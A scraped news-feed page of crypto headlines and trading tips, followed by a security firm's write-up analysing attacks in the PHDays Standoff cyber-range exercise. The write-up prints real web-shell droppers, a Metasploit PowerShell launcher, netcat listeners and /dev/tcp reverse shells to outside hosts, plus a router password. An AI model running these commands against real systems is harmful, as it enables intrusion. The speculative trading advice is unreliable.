How bad is the heat in Tokyo likely to be? Well, the highest recorded temperature this year was around 105 degrees Fahrenheit, so even your own Texas-born girl here is sweating empathetically.

The current official death toll is in the dozens, but analysts told CNN it was likely in the hundreds unofficially. According to Reuters , the Japanese government is debating whether or not to adopt daylight savings time in 2020 in order to avoid events taking place during the hottest hours. So hustling everyone indoors as fast as possible is more than just a logistical concern for the Olympics organizers. This facial recognition tech could help avert a major health hazard.

https://tokyo2020.org/en/news/notice/20180807-03.html on Tokyo 2020

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          Blockchain bug hunters feature prominently at this year’s Pwnie Awards      Cache   Translate Page   Web Page Cache   

Researchers have been diligently prodding cryptocurrency and blockchain companies for kinks in their security and it seems some of them are finally getting recognition for their work.

Three researchers are up for Pwnie Awards this year an annual showcase of the best and worst in information security. Little toy ponies are given to the most deserving hackers and security researchers.

MIT Digital Currency Initiative director Neha Narula and Boston University researcher Ethan Heilman have been nominated for “Best Cryptographic Attack” after cracking a hash function in popular cryptocurrency IOTA. In addition to that, ConsenSys security engineer Bernard Mueller is also up for “Most Innovative Research” for his work on securing Ethereumsmart contracts.

Cracking IOTA’s hash function

Forging IOTA transactions was apparently achievable “in just a few minutes,” according to Narula and Heilman. The pair discovered a method that allowed funds to be stolen directly from users wallets. They attribute the security hole directly to IOTA’s implementation of its hashing algorithm.

The vulnerability was originally discovered last year, and IOTA has since addressed it in a series of blog posts . While Narula and Heilman are clear to state that the exploitable attack vectors have been plugged, they do note that the faulty hash function is still being used in some parts of the IOTA platform.

Keeping smart contracts secure

Muller is nominated for his extensive research on the security of Ethereum’s blockchain. His paper , titled Smashing Smart Contracts for Fun and Real Profit , introduces a new security analysis tool for smart contracts called Mythril.

He pokes fun at the tech community for not “learning much since 1996,” with a myriad of security vulnerabilities stemming from a reliance on older programming languages when creating smart contracts. Myrthil is Muller’s contribution to smart contract security, with an intention to remove bugs that may lead to money loss.

Muller’s research also celebrates the modern hacking infrastructure. He does note, though, that the dawn of Ethereum’s “world computer” and its constantsecurity concerns are eerily reminiscent of the early internet.

This time around there’s one crucial difference, though. In the early days, bug bounty programs didn’t exist, and zero-day vulnerabilities were dumped on mailing lists just for the so-called lulz, so unless you had rather dubious connections, the only profit to be made was gaining the respect of other security researchers. Hack a smart contract, however, and you see some actual money.

The awards are scheduled for later today, so we’ll update this piece with the official standings. The full list of nominations can be found here .

Published August 8, 2018 ― 16:35 UTC


          8/9/2018: FINANCIAL POST: Crypto’s US$600B crash hits a new low      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
          Watch this 15-year-old hacker play DOOM on John McAfee’s ‘unhackable’ crypto-wallet      Cache   Translate Page   Web Page Cache   

John McAfee’s ‘unhackable’ cryptocurrency wallet – the one with a $250,000 bug bounty on it – has been cracked to run the iconic game DOOM, courtesy of a teenage security researcher. Video of the old-school first-person shooter has surfaced on Twitter. Self-described adversarial thinker Saleem Rashid is credited with hijacking it – a hacking prodigy just 15-years old. Keep in mind, Bitfi’s wallet is meant be the world’s first ‘unhackable’ device, supposedly doubling as a secure cryptocurrency storage solution. But as we already know, this is hardly the case. In recognition of @Bitfi6 and @officialmcafee and their prestigious @PwnieAwards accolades, we'd like to…

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          8/9/2018: FP INVESTING: Crypto’s US$600B crash hits a new low      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
          Bitcoin: ETF news is everything that matters – here is everything you need to know      Cache   Translate Page   Web Page Cache   

The ups and downs in the prospects of a Bitcoin ETF have rocked cryptocurrencies.  So far, requests have been rejected, but a lot of progress has been made. Here is everything you need to know about the topic. Many factors are moving the price of Bitcoin and other cryptocurrencies such as Ethereum and Ripple. Real-world usage, regulation, hacks, scaling, [...]

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          Blockchain Data Centers Growing Potential Becoming Lifeblood for Cryptomining Operations      Cache   Translate Page   Web Page Cache   

PALM BEACH, Florida, August 9, 2018 /PRNewswire/ -- MarketNewsUpdates.com News Commentary Blockchain technology is severely disrupting data center infrastructure, especially in the avenue of Cryptocurrency. Investment firms are investing millions into the development and deployment of...


          Particl and Ledger Team Up to Bring Cold Staking to the Nano S      Cache   Translate Page   Web Page Cache   

Bitcoin Press Release: Particl (PART) is now supported by Ledger Nano S and Ledger Live. PART was the first Proof of Stake (PoS) coin to offer cold storage staking – or what Particl calls “Cold Staking” – to mainnet last November. The Ledger Nano S fully supports Particl Cold Staking; securing user’s PART coins offline […]

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          Utility and Security Tokens: A Growing Case for Crypto Self-Regulation      Cache   Translate Page   Web Page Cache   

The early 21st century might very well go down in the annals of history as the gold rush of the modern age. Utility and security tokens are emerging from all corners of the globe and project teams are licking their lips as a new wave of investor funding is born. Capital from Initial Coin Offerings […]

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          XULT – the new cryptocurrency exchange 
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The ExchangeCoin team just announced that they are working on a new cryptocurrency exchange – Xult. When completed they will be able to offer complex services featured on the exchange platform to crypto traders. The new exchange will be powered by their cryptocurrency – EXCC. According to the information gathered from the ExchangeCoin team, during […]

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          SHIFT Markets Launches New Accord with Stellar      Cache   Translate Page   Web Page Cache   

SHIFT Markets has once again announced a new partnership, this time with Lightyear to support the integration of Stellar technology. SHIFT presently services upwards of sixty crypto exchanges on a global basis, with the most recent accord greatly enhancing the adoption of Stellar’s lumens (XLM). SHIFT Markets has been active in the cryptocurrency space, as […]

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          The Daily: Shapeshift Acquires Bitfract, Bitmain Invests in Tribeos      Cache   Translate Page   Web Page Cache   

In today’s edition of Bitcoin in Brief we cover stories about Shapeshift acquiring Bitfract, Bitmain investing in Tribeos, a dozen regulators from around the world setting up a global fintech sandbox and an ICO mogul reportedly buying a soccer team. Also Read: Crypto Tax App Libra Raises $15M in Series B Funding Shapeshift Acquires Bitfract […]

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          Putting blockchains on the road      Cache   Translate Page   Web Page Cache   

Volkswagen AG is testing blockchain systems. This crypto technology offers enormous potential for maintenance, logistics, self-driving vehicles, and specialized solutions such as tamper-proof odometers. What requires the energy from around five nuclear power plants but has only a virtual existence? The cryptocurrency Bitcoin. It is the most popular area of application for blockchain technology. Blockchain […]

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          What is Bitcoin Mining? All of Your Questions Answered      Cache   Translate Page   Web Page Cache   

Bitcoin is an ever-growing phenomenon which has gained a considerable number of followers over the past several years. One of the biggest and most important questions that many have is how exactly this cryptocurrency is made. Enter mining: the process through which new Bitcoins are produced. Time to buy the dip? Despite the name, Bitcoin mining […]

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          Don’t Miss Out on the FOMO3D      Cache   Translate Page   Web Page Cache   

For those following the cryptocurrency space, scams and schemes are nothing new. The seasoned trader or spectator will spot a dishonest project from a mile away… or pay the price. But what do you do when you come across an HONEST scam? Enter FOMO3D and POWH3D, Ethereum-powered smart contracts that let you go long on […]

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          DeviantCoin to Introduce a New Level of End-to-End Security and Ease of Storage to Global Cryptocurrency Market      Cache   Translate Page   Web Page Cache   

Planned initiatives include launching a hybrid exchange platform that effectively addresses the drawbacks of today’s centralized and decentralized exchanges

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          DISH adds Bitcoin Cash as Option for Customers; Migrates to BitPay for Cryptocurrency Payment Processing      Cache   Translate Page   Web Page Cache   

ATLANTA and ENGLEWOOD, Colo., Aug. 9, 2018 /PRNewswire/ -- DISH, the first subscription model pay-TV provider to accept Bitcoin beginning in 2014, today announced it has added Bitcoin Cash as a payment option and is now using BitPay, the largest global blockchain payments provider, as the ...


          Cryptocurrency miner hits IoT devices, mostly affects Brazil and Russia!      Cache   Translate Page   Web Page Cache   

According to a blogpost published on Aug 1, 2018, 200,000 routers in Brazil were compromised to deliver Cryptocurrency mining scripts to mine Monero (XMR) cryptocurrency. Hackers compromised the vulnerable MikroTik routers by injecting CoinHive scripts into the routers web pages in order to carry out the mass Cryptocurrency miner attack….


          Cryptocurrency News: New Exchanges Could Boost Crypto Liquidity      Cache   Translate Page   Web Page Cache   
Cryptocurrency News Even though the cryptocurrency news was upbeat in recent days, the market tumbled after the U.S. Securities and Exchange Commission (SEC) rejected calls for a Bitcoin (BTC) exchange-traded fund (ETF). That news came as a blow to investors, many of whom believe the ETF would open the cryptocurrency industry up to pension funds and other institutional investors. This would create a massive tailwind for cryptos, they say. So it only follows that a rejection of the Bitcoin ETF should send cryptos tumbling, correct? Well, maybe you can follow that logic. To me, it seems like a dramatic overreaction.
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          Watts Miners Reports Sales Figure over $80 Million for July      Cache   Translate Page   Web Page Cache   
Watts Miners, the latest big name to enter the crypto mining space, has received an encouraging response from the cryptocurrency enthusiasts around the world. The company has recorded a sales volume in excess of $80 Million for the just concluded month of July.
          The European Crypto Exchange Bitsane has Announced its Integration With the Trading Terminal TabTrader      Cache   Translate Page   Web Page Cache   

DUBLIN, August 9, 2018 /PRNewswire/ -- Users of the European Cryptocurrency exchange Bitsane are now able to carry out transactions in pairs of crypto-crypto and crypto-fiat through the TabTrader trading terminal. With TabTrader clients can monitor exchange rates, build charts,...


          Bitcoin analysis for August 09, 2018      Cache   Translate Page   Web Page Cache   

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Trading recommendations:

According to the 30M time frame, I found selling climax in the background, which signs that strength. I also found a successful testing of supply on low volume, which is another sign of strength. My advice is to watch for potential buying opportunities. The upward targets are set at the price of $6.479 and at the price of $6.722.

Support/Resistance

$6.322 – Intraday resistance

$6.092– Intraday support

$6.479 – Objective target 1

$6.722 – Objective target 2

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          8/9/2018: FINANCIAL POST: Crypto’s US$600B crash hits anewlow      Cache   Translate Page   Web Page Cache   
The 2018 sell-off in cryptocurrencies plumbed new depths on Wednesday after the U.S. Securities and Exchange Commission dented enthusiasts’ hopes for a VanEck exchange-traded fund backed by Bitcoin. A broad sell-off in coins of all sizes reduced the...
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Trading recommendations:

According to the 30M time frame, I found selling climax in the background, which signs that strength. I also found a successful testing of supply on low volume, which is another sign of strength. My advice is to watch for potential buying opportunities. The upward targets are set at the price of $6.479 and at the price of $6.722.

Support/Resistance

$6.322 – Intraday resistance

$6.092– Intraday support

$6.479 – Objective target 1

$6.722 – Objective target 2

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          Bitcoin analysis for 09/09/2018      Cache   Translate Page   Web Page Cache   

The agent of the US Drugs Agency (DEA) noted that the role of Bitcoin in crimes dropped to only 10 percent of transactions, while the number of transactions themselves increased dramatically - criminal activity using cryptocurrencies has fallen by 80 percent since 2013.

In the interview for one of the financial television, Special Agent DEA Lilita Infante - who is a member of the 10-member Cybercriminal Taskforce - said that the ratio of legal to illegal Bitcoin transactions in the last five years has turned: "The volume increased enormously, the number of transactions and the value of the dollar increased tremendously in the last years of criminal activity, but the ratio decreased".

The concept of criminals using cryptocurrencies as an alternative to cash has traditionally been the main argument used by those critical of the future of Bitcoin. Regulators also addressed the perception of using cryptocurrencies for illegal purposes, often related to terrorism and money laundering.

As the popularity of Bitcoin increased, the overwhelming majority of activity began to constitute a legal trade. Infante notes that most transactions are used for price speculation. She added that although focused on the privacy of altcoins are less fluid and more anonymous than Bitcoin, DEA still has ways to track currencies such as Monero and Zcash.

At the US House of Representatives' public meeting on digital resources in mid-July, Andreessen Horowitz, managing partner of Scott Kupor, suggested that Bitcoin is the best friend of law enforcement agencies because of the ability to track illegal transactions on Blockchain.

Let's now take a look at the Bitcoin technical picture at the H4 time frame. The market has plummeted to the level of $6,087, which is just above the technical support at the level of $6,034. Then the price bounced to $6,344 where the nearest technical resistance is, but the bearish pressure is still present on market. In a case of a further decrease, the next target level for bears is seen at $5,728.

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          Binance CEO teases demo of its new decentralized exchange desk      Cache   Translate Page   Web Page Cache   

Leading cryptocurrency exchange desk Binance has been working on a new decentralized version of its platform for a couple of months now, and it appears CEO Changpeng Zhao is finally ready to share a glimpse into the upcoming project with the rest of the world. Earlier today, the Binance boss took to Twitter to showcase a brief demo of the “rough, pre-alpha” version of the Binance decentralized exchange. You can see the app in action in the YouTube footage below: As Zhao notes, the platform is currently all client-based and does not have a working graphical user interface (GUI). That is…

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          Traditional VCs are finally investing in cryptocurrency and blockchain startups      Cache   Translate Page   Web Page Cache   

Recent data suggests traditional venture capital (VC) firms are gradually starting to diversify their portfolios, investing in more cryptocurrency and blockchain projects than ever before. Not surprisingly, VC firms specializing in funding blockchain projects top the list. But traditional VC firms are slowly starting to catch up, making cryptocurrency-based investments a larger portion of their portfolios. Household names like 500 Startups and Andressen Horowitz have made the top 10 after showing continued interest in funding blockchain projects. The study – put together by Crypto Finance Conference and exclusively shared with Hard Fork – highlighted how traditional venture capitals are spreading…

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          Binance CEO teases demo of its new decentralized exchange desk      Cache   Translate Page   Web Page Cache   

Leading cryptocurrency exchange desk Binance has been working on a new decentralized version of its platform for a couple of months now, and it appears CEO Changpeng Zhao is finally ready to share a glimpse into the upcoming project with the rest of the world. Earlier today, the Binance boss took to Twitter to showcase a brief demo of the “rough, pre-alpha” version of the Binance decentralized exchange. You can see the app in action in the YouTube footage below: As Zhao notes, the platform is currently all client-based and does not have a working graphical user interface (GUI). That is…

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          Traditional VCs are finally investing in cryptocurrency and blockchain startups      Cache   Translate Page   Web Page Cache   

Recent data suggests traditional venture capital (VC) firms are gradually starting to diversify their portfolios, investing in more cryptocurrency and blockchain projects than ever before. Not surprisingly, VC firms specializing in funding blockchain projects top the list. But traditional VC firms are slowly starting to catch up, making cryptocurrency-based investments a larger portion of their portfolios. Household names like 500 Startups and Andressen Horowitz have made the top 10 after showing continued interest in funding blockchain projects. The study – put together by Crypto Finance Conference and exclusively shared with Hard Fork – highlighted how traditional venture capitals are spreading…

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Publication date: August 8, 2018

The Standoff was back this year at Positive Hack Days 8, where over 100 participants on 12 attacker teams, 7 defender teams, and security operations center (SOC) teams were eager to show their mastery of the digital systems of an entire mock city.

The city network was monitored by three Positive Technologies products:

  • MaxPatrol SIEM – security information and event management (SIEM)
  • PT Network Attack Discovery – network traffic analysis, incident detection, and investigation
  • PT MultiScanner – multilevel system for identifying and blocking malicious content

Functioning of these products and game events were all under the watchful gaze of the Positive Technologies Expert Security Center (PT ESC), which shared its findings with the PHDays audience. So many events took place that it would be impossible to describe them all. Here we will focus on describing the networks of Office 2 (belonging to fictional systems integrator SPUTNIK) and Office 1 (belonging to fictional insurer BeHealthy). Office 2 was interesting because it was monitored by the Rostelecom SOC, but not under the protection of any defender team, due to which attackers had free run of its systems.

Besides these two offices, the city also contained an electrical plant with substation, railroad, smart homes, and banks with ATMs.

City model

In the paragraphs that follow, we will describe events at Office 1 and Office 2 as viewed through MaxPatrol SIEM, PT NAD, and PT MultiScanner in close technical detail.

Diagram of game network in Office 2

Addressing of the attacker teams was of the format 172.31.x.0/24, where "x" was the number (between 1 and 8) identifying a particular attacker team. There were 12 attacker teams in total, but due to the architecture of the network infrastructure (the network core was emulated on a Cisco CSR1000v) and the available physical equipment, only eight physical network interfaces could be set up for the teams throughout the game area. As a result, four of the networks had two teams each.

Office 2 had four network segments ("Security Team" refers to the SOC responsible for the office):

DMZ (100.64.154.0/25)

Servers (10.106.60.0/24)

Company Employees (10.106.50.0/24);

Security Team (10.106.82.0/24)

Hosts in the DMZ were accessible to all attackers. When attackers accessed these hosts, the attackers' real network addresses were translated from the pool 100.110.255.0/24, which made it difficult for defenders to identify the source of network traffic. Traffic could be from one of the twelve attacker teams, or it could be the (legitimate) script checker, run by the organizers to verify service availability, whose traffic came from the same address pool as the attackers

To "feed" our products with events, we captured and forwarded copies of all network traffic to PT NAD and also set up an extended audit of events involving target systems, information regarding which was provided to MaxPatrol SIEM.

An overview of PHDays attacks and team-by-team analysis can be found in our previous article.

Joomla (100.64.154.147)

One of the servers in the DMZ of Office 2 was a server running the Joomla CMS. A few hours after the start of the game, PT NAD began picking up the first signs of compromise of the server, specifically, upload of a web shell from the pool of "gray" IP addresses:

All attacker subnets terminated on the same firewall (Attacker-FW). When connecting to targets, the IP addresses of attackers were translated into "gray" IP addresses from a single pool (100.110.255.0/24). So to attribute attacks to particular teams, we enriched network-to-network connection information based on the NAT table of the firewall.

Here is how this looked in MaxPatrol SIEM:

In this case, we can see that the attack was initiated by Team 1. But since the same address pool was used by multiple teams, we cannot identify teams based on a request from a particular network with great certainty. Therefore here we will identify teams by their network numbers.

An hour after the attacks attempted by Team 1, PT NAD detected uploading by Team 8 of a different web shell with the self-explanatory name SHE__.php. We cannot say for sure whether this was the consequence of a server hack or simple scan. But a few minutes later, the same Team 8 established an SSH session as the unprivileged user "user".

The password for the account was near the top of the rockyou dictionary, and therefore easily bruteforced. Team 8 obtained access to the root account only around 4:00 p.m. because "user" was in the group with the right to run commands as root without a password. This is clear from the MaxPatrol SIEM logs: we see login as "user" and then escalation of privileges using the sudo command.

(The time indicated in logs may differ from the actual time by three hours due to the configuration of the game servers.)

By the evening of Day 1 of The Standoff, Team 6 took control of Joomla. PT NAD detected exploitation of a vulnerability (strictly speaking, a feature) thanks to which the team uploaded and started using the WSO web shell.


100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php  HTTP
100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP
100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php  HTTP
100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP
…
100.110.255.32  - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP
100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP
100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php  HTTP				
		

The script used by the team to upload web shells requires an administrator password. The password was obtained with the help of vulnerability CVE-2017-14596 in the Joomla authentication mechanism via LDAP. By changing the authentication LDAP request, the attackers can quickly bruteforce the administrator username and password.

Half an hour later, Team 6 pwned the whole system.

The machine was put to use by the attackers for scoping out the network of SPUTNIK's Office 2 using the Nmap and hping3 utilities.

All data from MaxPatrol SIEM.

Example of recon of the DMZ network of Office 2 (100.64.154.0/24) and SOC team network (10.106.82.0/24)

At 9:17 p.m., we discovered that an OpenVPN client had been installed and launched on the Joomla server. The connection went to server 195.16.61.229, located in Moscow. Not long after we learned that this was the work of Team 6, which successfully used the remote system to sneak in outside reinforcements and get more hackers on their side. .

Traffic with the remote system was inside an encrypted tunnel, so we cannot say exactly went on or how much it influenced game events. We can only make educated guesses based on the number of VPN sessions and amount of data transferred.

Most interestingly, the team did not clean up the traces: after the game, we found an OpenVPN configuration file on the server. This file contained the root and personal certificates, private key, and personal information of the key owner. One could easily use a search engine to identify the person going by "phonexicum" to which the configuration file belonged. A full map illustrating all in-game VPN connections is at the end of this article.

Additional interesting events began to crop up after midnight (three hours should be added to the times indicated in the logs).

The /id.php shell of Team 4 finds Team 1:


[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1
[15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1
[15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1
[15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
		

The team immediately gets to work on the system by saving the WSO web shell under the name 123.php.


[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1
[15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1
[15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1
[15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
		

Team 1 was boss for several hours, until Team 4 discovered the other team's presence and renamed id.php to 021371b392f0b42398630fd668adff5d.php.


[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1
[16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1
[16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1

021371b392f0b42398630fd668adff5d.php was later renamed to kekekeke.php and kekpek.php.


[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval (base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));??>" > kekekeke.php HTTP/1.1
[16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1

Later events on the domain infrastructure of Office 2 (SPUTNIK) are closely related to what happened on Joomla.

SPUTNIK (10.106.60.0/24)

After Joomla was hacked, attackers gained access to internal segments of the infrastructure of Office 2 (SPUTNIK). A bit later, the domain controller WIN2008R2-DC.domain2.phd (10.106.60.10) was on the receiving end of attacks involving exploit MS17-010.

The sequence of subsequent events is outlined by the MaxPatrol SIEM log.

The attacker first created a user with the name "username" and password "1qazzaq!" and added it to the local administrators group. Successful exploitation of exploits from advisory MS17-010 grants access with NT-Authority\System privileges. In Windows logs, such access is displayed as win2008r2-dc$.

As the new user, the attacker then created a few services for launching a PowerShell script.


%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""

This script, generated by the Metasploit framework, attempts to open a socket on port 55443 for listening and launch the payload that arrives on this port (most likely, Meterpreter).

This attempt to launch a remote shell was successful. The attackers continued developing the attack: "username" created another account, named "vitalik", and added it to the Domain Admins group. Soon we see interactive login.

After "vitalik" created a service with the help of the same PowerShell script as "username", the latter account performed a mass reset of passwords for domain accounts and began to probe neighbor Win2008R2-EXCH, the domain mail server.

Simultaneous activity by "username" and "vitalik" on the domain Exchange server (scanning and login) suggests that multiple team members were active on the SPUTNIK network at the same time.

"vitalik" checked the accessibility of the mail server and launched the server administration console after interactive login.

Having found nothing of interest, "vitalik" now dragged a number of tools and heavy artillery to host Win2008R2-DC: numerous PowerShell scripts and the BloodHound framework (a popular tool for Active Directory recon) appeared on the domain controller. To access the BloodHound web interface, the attacker had to disable Internet Explorer Protected Mode, which was noticed by the SIEM.

Network activity by BloodHound caught the attention of PT NAD. For example, BloodHound scans network hosts for active connections. Such traffic directed at the SRVSVC service triggers a PT NAD signature, indicating reconnaissance from within the network.

Around 1 a.m., the attackers—having first created a shadow copy of the disk using the vssadmin utility—made off with the ntds.dit database containing all domain accounts. The attackers now had full control of the domain and the hash for the krbtgt account. With this account, the attackers could create and use a Kerberos golden ticket for unlimited access to domain resources, accessing servers as any existing (or non-existing) user, and performing any actions imaginable on the domain. Detecting golden ticket use is difficult, but compromise of the krbtgt user and ntds.dit is a different story.

The team gradually switched gears from domain exploration to probing the newly accessible ICS network. After putting the Nmap scanner on the computers of SPUTNIK employees (YLAVRENTIEV.sputnik.phd and EPONOMAREV.sputnik.phd), attackers started scanning the 172.20.x.x network. They used nmap_performance.reg to change TCP/IP stack parameters and accelerate scanning of the ICS network.

Connections to ICS hosts via tunnels on SPUTNIK domain hosts speak for themselves. Head over to YouTube for a description of what the hackers were able to pull off on the ICS network.

Other attacker accomplishments included more tunnels, SSH sessions, creative breakthroughs after a sleepless night, and of course mining of our in-game DDoSCoin cryptocurrency.

Zabbix (100.64.100.161)

The system was located in the DMZ of Office 1 and hacked around 12 p.m. by an unidentified team.

Bruteforcing the administrator account was easy enough. The team took advantage of built-in Zabbix functionality to obtain unlimited monitoring capabilities with the help of custom scripts.

Scripts can contain any Linux commands, which the attackers made use of by creating shells and SOCKS proxy servers.


command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=/bin/ping -c 3 {HOST.CONN} 2>&1
command=ls /bin/
command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=/bin/nc -e /bin/sh -lp 5432 2>&1
command=ping 8.8.8.8
command=ping 8.8.8.8; netstat -tulpn
command=ping -n 4 8.8.8.8; netstat -tulpn
command=ls /tmp/phd
command=netstat -tulpn
command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp
command=ls /tmp
command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp
command=ping -c 4 195.16.61.232
command=touch /tmp/test;ls /tmp/
command=pwd
command=whoami
command=ls /var/www/html
command=which nc
command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp
command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin
command=bash -i >& /dev/tcp/195.16.61.232/195 >&1
command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1
command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1


The team unsuccessfully tried to download a module from outside server 195.16.61.232, which they controlled.

After quickly surveying the surroundings, the team used standard Linux methods to install a remote bash shell with the same outside server by sending packets directly to /dev/tcp/.

Just as interesting was the content of traffic between the team and the shells, which was sent unencrypted and picked up by PT NAD sensors.


bash-4.2$ /tmp/gost -L socks4a://:1080 &
bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389
bash-4.2$ /tmp/gost -L socks4a://:1080 &
bash-4.2$ nmap
bash: nmap: command not found
bash-4.2$ ifconfig        
bash-4.2$ ping 172.30.240.106
bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/
raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py
bash-4.2$ python linuxprivchecker.py
bash-4.2$ uname -a
bash-4.2$ cd /etc/cron.daily:
bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389
bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 &
bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 &
bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 &
bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 &
bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 &
bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 &
bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 &
bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 &
bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 &
bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 &
bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 &
bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 &
bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 &
bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 &
bash-4.2$ ./gost -L=socks5://:1081 &

The Zabbix server was mainly used as a staging ground for gathering information about the subnets of Office 1: 10.100.50.0/24 (Users), 10.100.60.0/24 (Servers), and 10.100.80.0/24 (Security Team).

Multiserver (100.64.100.167)

Multiserver is a different Linux host in the Office 1 DMZ with a few HTTP servers and MySQL database. Although Multiserver was scanned intensively, only a few attacks were successful. The host harbored the SambaCry vulnerability, found in 2017 after the MS17-010 vulnerabilities, and the teams tried to exploit it. The PT NAD filter allows localizing these attempts on a timeline.

One of the attempts by Team 3 contained as payload the executable library DTECJtAf.so. Judging by the library name, the attackers were using the is_known_pipename module from the Metasploit framework.

Here is the line of code responsible for this telltale library name:

During The Standoff, the organizers were helped by PT MultiScanner, which checked all files transmitted on the network that were flagged by PT NAD. A moment later, the verdict was in for DTECJtAf.so: Linux/SmbPayload.C.

Judging by absence of subsequent network interactions between the server and Team 3, the exploit was unsuccessful. But at almost the same time, we see an active SSH session from Team 4. The amount of traffic suggests that the attackers were using the server to full advantage.

The first successful SSH login by Team 4 as administrator took place around 3:20 p.m. on Day 1.

The team quickly checked out its privileges and the host as well.

And more than just the host.

Attribution is aided by a linguistic giveaway.

Multiserver was not fully configured and as a result we cannot say with certainly which other attempts were made by the teams. The available logs show that this host, like other hosts in the Office 1 DMZ, served as a jumping-off point for investigating the office's internal infrastructure.

More highlights

Other hosts also attracted attacker attention. It was curious, for example, to see what happened with the Mikrotik router at address 100.64.100.237 in the Office 1 DMZ. Around 2 a.m. on Day 2, successful login to the router console via Telnet with the credentials admin:VxPvRxX74e8xrbia77hsi7WKm was recorded. The router firmware version was 6.38.4—the same version used to test the infamous Chimay Red Stack Clash exploit for Mikrotik, which enables running arbitrary code and learning user passwords on the router. Exploitation was detected by PT NAD.

In the afternoon, the team that was first to take the router decided to pull the ladder up behind them, by updating the firmware to block other teams.

This is one of the few cases when a team closed a security hole in order to prevent other attackers from "stealing" their host.

PT MultiScanner detected another curious event.

To access the bank, teams could use the bank client available on the bank site. The site was on the bank network, where it was monitored by a defender team. The defender team inserted a malicious payload into the client (by using Metasploit) and replaced the original with this modified version. Fortunately for them, several attacker teams downloaded the booby-trapped client, as we can see in the above PT MultiScanner screenshot. No successful connections were recorded, but the case is still worth keeping in mind since similar things happen in real life: attackers insert malicious code into legitimate programs on official sites or tamper with updates.

Miners

